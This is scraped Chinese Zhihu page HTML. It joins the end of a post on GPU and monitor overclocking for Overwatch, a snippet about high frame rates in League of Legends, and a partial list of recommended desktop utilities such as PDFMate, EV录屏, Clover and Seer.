class=&origin_image zh-lightbox-thumb& width=&720& data-original=&https://pic1.zhimg.com/v2-ee1e67e201b4a5ad2b8f_r.jpg&&&figcaption&显卡超频前&/figcaption&&/figure&&p&对比之前的测试结果，简直可以说有点惊喜了，请允许我高呼一声AMDYES！&/p&&figure&&img data-rawheight=&281& src=&https://pic4.zhimg.com/v2-69c938a7da3ab0_b.jpg& data-size=&normal& data-rawwidth=&1255& class=&origin_image zh-lightbox-thumb& width=&1255& data-original=&https://pic4.zhimg.com/v2-69c938a7da3ab0_r.jpg&&&figcaption&屏幕超频前，是没有70帧的选项的&/figcaption&&/figure&&p&开一把守望先锋，看着精细的画质（画质选项极高），左上角稳定80的帧率，感觉DVA跟枪都变准了呢~&/p&&figure&&img data-rawheight=&1080& src=&https://pic3.zhimg.com/v2-a2e858abd93f1f67b7b9b15_b.jpg& data-size=&normal& data-rawwidth=&1920& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic3.zhimg.com/v2-a2e858abd93f1f67b7b9b15_r.jpg&&&figcaption&屏幕超频至70Hz，画质选项-极高。这么看来，读取的帧率应该是比显示帧率稳定高10帧&/figcaption&&/figure&&figure&&img data-rawheight=&1080& src=&https://pic3.zhimg.com/v2-635206cddad68c3af0eee1_b.jpg& data-size=&normal& data-rawwidth=&1920& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic3.zhimg.com/v2-635206cddad68c3af0eee1_r.jpg&&&figcaption&对比笔记本，屏幕未超频，显卡为GTX-960m，画质选项-中&/figcaption&&/figure&&p&最后，守望没凉，各司其职，互相配合才能得到真正的乐趣，净化天梯环境，人人有责，谢谢大家。&/p&&p&以上。&/p&&p&——————分割线——————&/p&&p&本来感觉没啥区别，现在回到60玩游戏已经感觉受不了了（捂脸），高刷新率还是有毒啊……已经考虑要不要某鱼蹲一个120Hz了……&/p&
时常在硬件论坛遇到这样的问题：“求助，新换GTX10XX，但是LOL只能跑到水泉200帧，团战100多帧，请问如何提升到稳定200帧？”实话说，这种问题对于大多只有网游需求，又不太研究硬件的同学来说，可以说几乎是日经贴了。那么200帧的LOL到底有没有意义呢？能…
&p&强势推荐这些冷门佳软，挡不住的好用~希望你喜欢↓&/p&&p&&br&&/p&&h2&&b&&i&PDFMate PDF Converter&/i&&/b&&/h2&&figure&&img src=&https://pic1.zhimg.com/50/v2-182395cedc05b5ad4f7f0_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&902& data-rawheight=&731& class=&origin_image zh-lightbox-thumb& width=&902& data-original=&https://pic1.zhimg.com/50/v2-182395cedc05b5ad4f7f0_r.jpg&&&/figure&&p&之前推过的相关网站&b&要是&/b&在没网络或是网速不好的时候&b&就不太方便&/b&，这时候就可以用上这个解决&b&pdf问题&/b&的&b&实用软件&/b&。&/p&&p&&br&&/p&&p&我们来看看最常见的pdf&b&格式转换&/b&需求↓首先能转换的格式&b&比较全&/b&：epub、text、image、html、swf、pdf（合并页面）、doc。&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-a4bf558e6fc1b34999d2a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&876& data-rawheight=&69& class=&origin_image zh-lightbox-thumb& width=&876& data-original=&https://pic3.zhimg.com/50/v2-a4bf558e6fc1b34999d2a_r.jpg&&&/figure&&p&格式中最常见的就是&b&转word&/b&，用一份pdf进行转换后，&b&选了带有表格的部分&/b&，效果如下。&/p&&p&&br&&/p&&p&Pdf页面↓&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-734e0cbdea033f156f27de_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&564& data-rawheight=&496& class=&origin_image zh-lightbox-thumb& width=&564& data-original=&https://pic3.zhimg.com/50/v2-734e0cbdea033f156f27de_r.jpg&&&/figure&&p&转换后的word页面↓&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-f15590a9bafbc34acadbff8_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&651& data-rawheight=&585& class=&origin_image zh-lightbox-thumb& width=&651& data-original=&https://pic2.zhimg.com/50/v2-f15590a9bafbc34acadbff8_r.jpg&&&/figure&&p&效果可以看得出来不错，还值得一说的是这份pdf虽然有&b&108页&/b&，但是&b&不到5秒钟&/b&就转换完成了。&/p&&p&&br&&/p&&p&这个软件有windows和mac版本，&b&都有免费版&/b&，也有付费的pro版。&/p&&p&&br&&/p&&p&这三个版本的&b&区别&/b&可以看到：&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-c1d2a513dff2fbbe4c61a1f1_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&656& data-rawheight=&841& class=&origin_image zh-lightbox-thumb& width=&656& data-original=&https://pic4.zhimg.com/50/v2-c1d2a513dff2fbbe4c61a1f1_r.jpg&&&/figure&&p&win的免费版可以&b&使用大部分功能&/b&，mac则少一些，&b&比如&/b&pdf加密win可以而mac不行，并且两者在一些功能上是&b&互相补充&/b&的。&/p&&p&&br&&/p&&p&再次运用我们&b&顺藤摸瓜&/b&的技能，可以发现它们家还有&b&电子书、音乐格式&/b&转换的相关软件，有需要的小伙伴可以再淘淘。&/p&&p&&br&&/p&&p&&br&&/p&&h2&&b&&i&EV录屏&/i&&/b&&/h2&&figure&&img src=&https://pic4.zhimg.com/50/v2-ab1f54d9dc66dd_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1080& data-rawheight=&360& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic4.zhimg.com/50/v2-ab1f54d9dc66dd_r.jpg&&&/figure&&p&一款&b&免费并且不添加水印&/b&的录屏工具，&b&操作简单&/b&适合新手，windows和mac，android和ios&b&都有&/b&。&/p&&p&&br&&/p&&p&在录制的视频中我们可以&b&自由添加&/b&自己的图片或是水印，还可以设置从原画到一般&b&六个级别&/b&的画质，同时录制的视频支持&b&局域网内&/b&直接进行直播。&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-2b506d54fefaa23cb68d2d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&828& data-rawheight=&550& class=&origin_image zh-lightbox-thumb& width=&828& data-original=&https://pic3.zhimg.com/50/v2-2b506d54fefaa23cb68d2d_r.jpg&&&/figure&&p&还能&b&任意录制&/b&来自麦克风或是系统的音轨，这样我们录制出来的视频就&b&不会受到环境声&/b&的影响。&/p&&p&&br&&/p&&p&VIP有更多功能↓&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-29e7add90d6d2c07f3f8_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1080& data-rawheight=&595& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic2.zhimg.com/50/v2-29e7add90d6d2c07f3f8_r.jpg&&&/figure&&p&一般录个微课或是网页视频，免费版&b&完全够用&/b&。&/p&&p&&br&&/p&&p&&br&&/p&&h2&&b&&i&Gifcam&/i&&/b&&/h2&&figure&&img src=&https://pic4.zhimg.com/50/v2-79ca8e64b7e51ded90e7e27_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&503& data-rawheight=&389& class=&origin_image zh-lightbox-thumb& width=&503& data-original=&https://pic4.zhimg.com/50/v2-79ca8e64b7e51ded90e7e27_r.jpg&&&/figure&&p&这个适合用于一些简单的&b&gif动画录制&/b&，之前文章里一些动图我都是用这个软件录制的，因为它&b&方便又小巧&/b&。&/p&&p&&br&&/p&&p&录制窗口会&b&始终保持&/b&在最上面，录制中&b&可调节&/b&窗口大小，并且&b&还能暂停&/b&，会和重新开始后录制的内容&b&结合成&/b&一个gif，不会分隔开。&/p&&p&&br&&/p&&p&导出后的文件支持逐帧演示，开发者还正在研究&b&更多的gif编辑&/b&功能。&/p&&p&&br&&/p&&p&&br&&/p&&h2&&b&&i&RightMenuMgr&/i&&/b&&/h2&&figure&&img src=&https://pic4.zhimg.com/50/v2-f9b166aadb8048fad554a4e1_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&855& data-rawheight=&565& class=&origin_image zh-lightbox-thumb& width=&855& data-original=&https://pic4.zhimg.com/50/v2-f9b166aadb8048fad554a4e1_r.jpg&&&/figure&&p&安装一些软件之后，我们的&b&点击鼠标右键&/b&出现的选择会变得&b&越来越多&/b&，导致操作&b&不流畅&/b&，我们就可以使用这款右键菜单管理软件来&b&进行优化&/b&。&/p&&p&&br&&/p&&p&&b&比如&/b&我们装了fences，右击桌面会出现“fences配置”这一选项↓&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-31f2ce08dbe67bd8a27d24_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&285& data-rawheight=&220& class=&content_image& width=&285&&&/figure&&p&在软件中选中“背景”这一选项，把fence的勾选框去掉。&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-cafbd5dcbd0e397ff2edb_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&855& data-rawheight=&565& class=&origin_image zh-lightbox-thumb& width=&855& data-original=&https://pic4.zhimg.com/50/v2-cafbd5dcbd0e397ff2edb_r.jpg&&&/figure&&p&再次在桌面上右击就没了↓&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-60a3ecf9232_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&298& data-rawheight=&189& class=&content_image& width=&298&&&/figure&&p&&b&除了桌面上&/b&的右击菜单，我们还可以设置图中所示&b&文件类型、文件夹、磁盘分区等处&/b&的右击菜单中选项，可以&b&删除&/b&，也可以&b&增加&/b&上自己所需要用到的。&/p&&p&&br&&/p&&p&即它是一款可以&b&高度自定义&/b&你的右击菜单的效率软件，非常好用。&/p&&p&&br&&/p&&h2&&b&&i&Fliqlo&/i&&/b&&/h2&&figure&&img src=&https://pic1.zhimg.com/50/v2-3fb1e914e9_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic1.zhimg.com/50/v2-3fb1e914e9_r.jpg&&&/figure&&p&一款&b&极简主义&/b&的时钟屏保软件，windows和mac都有。&/p&&p&&br&&/p&&p&&b&全屏显示、翻页式&/b&的时钟页面，能够瞬间（假装）&b&提升&/b&我们电脑的&b&品质&/b&，回头率简直不要太高。&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-d9bbe443f4e332a6a510e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&800& data-rawheight=&516& class=&origin_image zh-lightbox-thumb& width=&800& data-original=&https://pic4.zhimg.com/50/v2-d9bbe443f4e332a6a510e_r.jpg&&&/figure&&p&设置选项也非常&b&简便&/b&了，可以进行24小时&b&或是&/b&12小时制的更换，以及对屏保&b&尺寸大小&/b&的选择。&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-1edc24f65cdb_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&488& data-rawheight=&314& class=&origin_image zh-lightbox-thumb& width=&488& data-original=&https://pic4.zhimg.com/50/v2-1edc24f65cdb_r.jpg&&&/figure&&p&同时开发者还进行了相关优化&b&使耗电量减少&/b&，屏保的耗电问题得到&b&比较好的解决&/b&。&/p&&p&&br&&/p&&p&Fliqlo在ios端也有，需要在app store付费购买，电脑端则免费。&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-adfb8c51bbb83b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1080& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic2.zhimg.com/50/v2-adfb8c51bbb83b_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&h2&&b&&i&Clover&/i&&/b&&/h2&&figure&&img src=&https://pic2.zhimg.com/50/v2-124c3b479bdf39e694e0_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&517& data-rawheight=&526& class=&origin_image zh-lightbox-thumb& width=&517& data-original=&https://pic2.zhimg.com/50/v2-124c3b479bdf39e694e0_r.jpg&&&/figure&&p&还记得之前推荐过的&b&office tab&/b& 吗，让文档窗口像浏览器那样显示标签，clover则是能使&b&windows资源管理器&/b&使用多标签化功能。&/p&&p&&br&&/p&&p&通过&b&多个快捷键&/b&可以让我们更快地运用窗口操作，如Ctrl+T新开页面，Ctrl+W关闭页面，Ctrl+Tab切换页面。&/p&&p&&br&&/p&&p&一些我们&b&需要经常打开&/b&的子文件夹，可以&b&拖动到&/b&书签栏中，之后就能&b&秒速打开。&/b&&/p&&p&&br&&/p&&p&clover以&b&插件形式&/b&进行使用，所以我们&b&并不需要&/b&去重新掌握一个软件，而是可以&b&保持&/b&我们对文件管理的&b&使用习惯&/b&。&/p&&p&&br&&/p&&p&总而言之，clover可以让我们&b&像使用浏览器那样&/b&对资源管理器进行快捷方便地管理，对于total commander不习惯的小伙伴&b&可以试试它&/b&。&/p&&p&&br&&/p&&h2&&b&&i&XMeters&/i&&/b&&/h2&&figure&&img src=&https://pic3.zhimg.com/50/v2-59a41dcbd95e9cf2f7c450_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1080& data-rawheight=&362& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic3.zhimg.com/50/v2-59a41dcbd95e9cf2f7c450_r.jpg&&&/figure&&p&用电脑的时候&b&不知不觉&/b&就打开了好多软件，直到&b&系统崩溃&/b&才幡然醒悟…那么你一定需要这款&b&实时监控&/b&CPU、网络运行等各种系统信息方面数据的软件。&/p&&p&&br&&/p&&p&比如我们可以&b&根据&/b&观测到的直观数据，在系统内存占用开始变多时&b&及时清理关闭&/b&一些不需要的软件，保持电脑的&b&流畅运行&/b&。&/p&&p&&br&&/p&&p&XMeters给我们&b&提供了三种直观&/b&的观测形式，分别是文本、条形图以及饼图，可以在任务栏进行清晰地观测↓&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-5d49229ffdadf71bfd56ecce6d1bca67_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1080& data-rawheight=&71& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic4.zhimg.com/50/v2-5d49229ffdadf71bfd56ecce6d1bca67_r.jpg&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-dfeacd544fbb568f7aa5a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1080& data-rawheight=&77& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic3.zhimg.com/50/v2-dfeacd544fbb568f7aa5a_r.jpg&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-cc4700af87ee_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1080& data-rawheight=&78& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic1.zhimg.com/50/v2-cc4700af87ee_r.jpg&&&/figure&&p&这是一款付费软件，也有&b&免费下载&/b&使用，免费的只能有3秒一次的数据刷新速度。&/p&&p&&br&&/p&&p&而想要&b&更快的刷新频率&/b&则需购买升级，不过3秒我觉得完全够用了。&/p&&p&&br&&/p&&h2&&b&&i&Seer&/i&&/b&&/h2&&figure&&img src=&https://pic3.zhimg.com/50/v2-121c5e593b59eb877bafb0_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1080& data-rawheight=&494& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic3.zhimg.com/50/v2-121c5e593b59eb877bafb0_r.jpg&&&/figure&&p&往期给大家推荐了快速浏览&b&图像、压缩包&/b&里的文件的一些软件，就有小伙伴问有没有支持其他文件像是&b&word这类&/b&的预览的软件呢？&/p&&p&&br&&/p&&p&现在把Seer推荐给大家，windows下的一款&b&快速预览工具&/b&，快速预览在我们确认一些文件的时候真的是一个&b&很方便的途径&/b&。&/p&&p&&br&&/p&&p&使用seer，只需要&b&选中&/b&要预览的文件，&b&点击&/b&一下空格键，我们不用打开具体文件就可以&b&预览它们&/b&，支持图片、音乐、&b&视频&/b&、压缩包、&b&office文件（需添加一个msoffice插件）、pdf&/b&等等。&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-6d183dc1bba38be5af61262_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&751& data-rawheight=&510& class=&origin_image zh-lightbox-thumb& width=&751& data-original=&https://pic1.zhimg.com/50/v2-6d183dc1bba38be5af61262_r.jpg&&&/figure&&p&还可以从预览视图中进行文字复制，用途就更广了。&/p&&p&&br&&/p&&h2&&b&&i&Picasa&/i&&/b&&/h2&&figure&&img src=&https://pic1.zhimg.com/50/v2-9afd4ce0a6ea088c550cd76b6a047116_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1019& data-rawheight=&741& class=&origin_image zh-lightbox-thumb& width=&1019& data-original=&https://pic1.zhimg.com/50/v2-9afd4ce0a6ea088c550cd76b6a047116_r.jpg&&&/figure&&p&Picasa是谷歌出品的&b&图片查看、编辑和管理&/b&软件，可惜的是不再更新服务了，但依旧好用。&/p&&p&&br&&/p&&p&打开软件后它会帮你&b&自动扫描&/b&软件，按日期排序，左边框则显示图片所在的文件夹。&/p&&p&&br&&/p&&p&编辑功能中我比较喜欢的是&b&[图片拼贴]&/b&，可以帮助我们快速实现图片的排版以及图片墙的制作。&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-0b3f9e551bedcde2e774e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&286& data-rawheight=&473& class=&content_image&